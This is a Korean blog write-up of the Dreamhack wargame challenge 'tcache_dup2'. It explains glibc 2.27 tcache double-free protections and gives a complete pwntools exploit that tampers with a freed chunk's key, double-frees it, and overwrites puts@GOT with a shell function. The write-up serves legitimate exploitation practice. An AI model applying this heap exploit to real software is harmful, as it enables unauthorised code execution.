system hacking

드림핵 tcache_dup2 문제 풀이

24kg0ld 2024. 7. 23. 23:49

문제 풀이 환경:구름ide

1. 문제 파일 다운, 환경 분석

문제 파일을 다운 받고 $ chmod +x tcache_dup2로 실행 권한을 부여했다.
environment

$ checksec tcache_dup2
[*] '/workspace/1804/tcache_dup2/tcache_dup2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

checksec로 확인해보면 문제에서 주어진 환경과 실제 바이너리 파일의 환경이 다르다.
실제로는 64비트 시스템에 NX, canary, partial RELRO가 적용되어 있다.

2. 코드 분석, 취약점 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
    size_t size;

    if (idx >= 7) //idx가 7보다 크거나 같으면 함수 종료
        exit(0);

    printf("Size: ");
    scanf("%ld", &size); //size 입력 받아서

    ptr[idx] = malloc(size); //size 크기의 공간 할당 후 ptr[idx]에 주소 저장

    if (!ptr[idx]) //ptr[cnt]가 NULL이라면 함수 종료
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size-1); //ptr[cnt]에 최대 size-1만큼의 입력 받음
}

void modify_heap() {
    size_t size, idx;

    printf("idx: ");
    scanf("%ld", &idx); //idx 입력 받고

    if (idx >= 7) //idx가 7보다 크거나 같으면 함수 종료
        exit(0);

    printf("Size: ");
    scanf("%ld", &size); //size 입력 받아서

    if (size > 0x10) //size가 0x10보다 크면 함수 종료
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size); //ptr[idx]에 최대 size만큼의 입력 받음
}

void delete_heap() {
    size_t idx;

    printf("idx: ");
    scanf("%ld", &idx); //idx 입력 받아서
    if (idx >= 7) //idx가 7보다 크거나 같으면 함수 종료
        exit(0);

    if (!ptr[idx]) //ptr[idx]가 NULL이라면 함수 종료
        exit(0);

    free(ptr[idx]); //ptr[idx] 할당 해제
}

void get_shell() {
    system("/bin/sh"); //shell 실행
}
int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) { //메뉴
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");

        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}

Parital RERLO에 PIE가 적용되어 있지 않기 때문에 간단하게 함수의 got를 get_shell의 주소로 덮을 수 있다.
double free bug를 활용하여 puts@got를 get_shell로 덮으면 될 것 같다.
아래 문제와 취약점이 유사하니 자세한 취약점 분석은 아래 링크를 참고하면 된다.
드림핵 tcache_dup 문제 풀이

3. 코드 작성 전에 알아야 할 것

(1) 라이브러리 버전에 따른 double free bug 보호 기법

문제에서 주어진 라이브러리는 2.27버전이다.
이 버전에서는 tcache에 double free를 막기 위하여 key를 사용한다.
문제의 refrence에 있는 Heap Allocator2에 설명이 되어있다.
간단하게 요약하면 free가 실행되어 tcache에 chunk가 들어갈 때 chunk의 key 값을 바꾸고,
그 key값으로 chunk가 free되었는지 확인하여 double free bug를 막는 방법이다.
이 key는 chunk에서 fd(8바이트) 바로 뒤에 위치한다.
key를 변조하면 chunk가 재할당되지 않았다고 판단하여 free를 여러번 할 수 있다.

(2) tc_idx

tc_idx는 tcache에 chunk가 몇개 있는지를 나타내는 값이다.
위의 refrence에서 tcache_get 함수를 살펴보자.

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

위 함수에 assert (tcache->entries[tc_idx] > 0);라는 부분이 있는데 tc_idx의 값이 0보다 클 때만 실행이 된다.
tc_idx는 tcache에 chunk가 몇개 남았는지 표시하는 인덱스이다.
free가 실행되어 chunk가 할당되면 값이 1증가하고, 재할당 되어 chunk가 없어지면 값이 1 감소한다.
tc_idx가 0보다 커야 tcahce에 있는 chunk를 활용하여 재할당 됨을 기억해야 된다.

(3) got와 key

아무 함수의 got를 overwrite 하려고 하면 익스플로잇에 실패할 수 있다.
나도 처음에 printf의 got를 덮으려고 했으나 실패하여서 이유를 찾아보았다.

pwndbg> got
GOT protection: Partial RELRO | GOT functions: 10
[0x404018] free@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x404020] puts@GLIBC_2.2.5 -> 0x7ffff7a62970 (puts) ◂— push r13
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401050 ◂— endbr64
[0x404030] system@GLIBC_2.2.5 -> 0x401060 ◂— endbr64
[0x404038] printf@GLIBC_2.2.5 -> 0x7ffff7a46e40 (printf) ◂— sub rsp, 0xd8
[0x404040] read@GLIBC_2.2.5 -> 0x401080 ◂— endbr64
[0x404048] malloc@GLIBC_2.2.5 -> 0x401090 ◂— endbr64
[0x404050] setvbuf@GLIBC_2.2.5 -> 0x7ffff7a632a0 (setvbuf) ◂— push r13
[0x404058] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7a5de70 (__isoc99_scanf) ◂— push rbx
[0x404060] exit@GLIBC_2.2.5 -> 0x4010c0 ◂— endbr64

gdb를 활용하여 printf의 got가 16바이트만큼 할당되어 있고 그 뒤에 read의 got가 있음을 알 수 있다.
코드를 작성해보면 create(malloc)으로 재할당하면서 printf의 got(16바이트)를 get_shell의 주소(16바이트)로 덮게 된다.
이 때 앞서 설명을 참고하면 key 값이 바뀌게 된다.
재할당을 하면 free가 되었다는 표시를 할 필요가 없으므로 e->key = NULL;로 key값을 NULL로 초기화 해준다.
got 주소를 확인해보면 printf의 got 뒤에 read의 got가 있다.
printf의 got를 get_shell 주소로 덮고 나면 그 뒤의 read가 NULL로 설정되어 오류가 발생할 수 있다.(read가 실행되는 도중 read의 got값이 바뀌어 오류 발생)
그래서 코드의 진행과 큰 관련이 없는 함수의 GOT가 NULL이 되도록 got overwrite를 할 함수를 정해줘야 된다.
아래의 코드에서는 puts를 선택했다.
main을 disassemble 해보면 printf가 실핼될 때 puts@plt로 실행되는 경우가 있음을 알 수 있다.

4. 코드 작성

from pwn import *

p = remote('host3.dreamhack.games', 20327)
e = ELF('./tcache_dup2')

context.arch = 'amd64'


def create(size, data):
    p.sendlineafter(b'> ', str(1).encode())
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)


def modify(idx, size, data):
    p.sendlineafter(b'> ', str(2).encode())
    p.sendlineafter(b': ', str(idx).encode())
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)


def delete(idx):
    p.sendlineafter(b'> ', str(3).encode())
    p.sendlineafter(b': ', str(idx).encode())


create(0x50, b'A')
create(0x50, b'B')
delete(0)  # tcache : chunk A
delete(1)  # tcache : chunk B -> chunk A, t_idx = 2 (t_idx를 미리 증가시켜두기 위한 할당과 free)

create(0x50, b'C')  # tcache : chunk A, t_idx = 1
delete(2)  # tcache : chunk C -> chunk A, t_idx = 2
modify(2, 0x9, b'CCCCCCCCC')  # chunk C의 key 변조
delete(2)  # tcahce : chunk C -> chunk C -> chunk A, t_idx = 3

puts_got = e.got['puts']  # puts의 got 주소 구하기
create(0x50, p64(puts_got))  # tcahce : chunk C -> puts@got -> chunk A, t_idx = 2

create(0x50, b'D')  # tcache : puts@got -> chunk A, t_idx = 1

get_shell = 0x401530
create(0x50, p64(get_shell))  # puts@got = get_shell

p.interactive()

위의 코드로 쉘을 획득했다.

(생각해보니 처음에 create와 delete를 한 번만 해주어도 될 것 같다.)